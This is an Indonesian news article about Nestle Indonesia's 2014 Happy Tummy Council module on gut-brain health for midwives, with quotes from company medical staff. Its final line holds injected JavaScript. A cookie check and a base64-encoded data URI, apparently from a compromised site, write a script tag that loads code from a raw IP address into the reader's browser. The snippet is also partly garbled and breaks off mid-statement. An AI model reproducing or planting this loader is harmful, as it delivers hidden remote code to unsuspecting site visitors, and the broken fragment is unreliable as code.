Setelah Happy Tummy Council menyebarkan modul pendidikan kesehatan kepada 20 ribu bidan pada program KARTINI di tahun 2013 lalu, Nestle Indonesia kembali meluncurkan modul pendidikan Happy Tummy Council versi kedua di Jakarta, pada Kamis (3/4). Di tahun 2014 ini melalui Happy Tummy Gut-Brain Axis, Nestle membuat berbagai macam kegiatan dimana 50% kegiatannya juga ditujukan pada bidan terlebih dahulu.
Sukses meningkatkan awareness Bidan lewat Happy Tummy Council 2013, tahun ini Nestle Indonesia kembali meluncurkan modul tentang kesehatan pencernaan yang juga membidik para bidan.
“Karena 80% alternater care atau 80% persalinan anak di Indonesia dikerjakan oleh bidan. Sementara kita tahu, brain axis itu sudah mulai dari kehamilan. Target terbesarnya adalah mendidik bidan dulu, kita akan meng-cover sekitar 20 ribu sampai 30 ribu bidan tahun ini, kemudian ke seluruh tenaga kesehatan dokter, dokter anak dan media,” kata Dr. Ray Basrowi, MKK, Vice President Head of Medical & Nutrition PT Nestle Indonesia.
Menurutnya, Happy Tummy Council merupakan program Creating Share Value (CSV) atau semacam CSR untuk mendidik masyarakat mengenai pentingnya kesehatan saluran cerna agar anak dapat tumbuh dan berkembang secara optimal, anak pintar, sehat dan berprestasi. Melalui program tersebut, Nestle juga menggandeng sejumlah expert atau pakar di bidang kesehatan, yaitu Prof. Dr. M. Juffrie, dr., Sp.A(K), Ph.D, Prof. Dr. Soebijanto Marto Sudarmo dr. Sp.A(K), Dr. Ahmad Suryawan, dr. Sp.A(K), Dr. Saptawati Bardosono, dr., M.Sc., dan Rini Hildayani M.Si. Psychologist.
Melalui modul Happy Council versi kedua, informasi tentang konsep gut-brain axis dibahas secara lebih dalam dan lengkap. Salah satu materinya adalah pemaparan lebih rinci tentang penyakit-penyakit yang berkaitan dengan saluran pencernaan, seperti kolik dan konstipasi, serta bagaimana cara menghindari masalah-masalah kesehatan tersebut.
“Tahun ini merupakan tahun kedua kami bekerja sama dengan para pakar kesehatan yang tergabung dalam Happy Tummy Council. Kami berharap, informasi yang disampaikan dalam program ini dapat memberikan manfaat bagi masyarakat, terutama untuk meningkatkan pemahaman mereka akan pentingnya saluran cerna untuk tumbuh kembang anak yang optimal,” kata Dr. Stephen D. King, PhD, dari PT Nestle Indonesia.
Sebagai Health Campaign, lanjut Ray, berdasarkan evaluasi dari tahun kemarin terbukti kalau awareness bidan meningkat. Namun, tenaga kesehatan saja tidak cukup, jadi perlu ke masyarakat melalui media, bloger, dan digital website www.rumahnutrisinestle.com. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)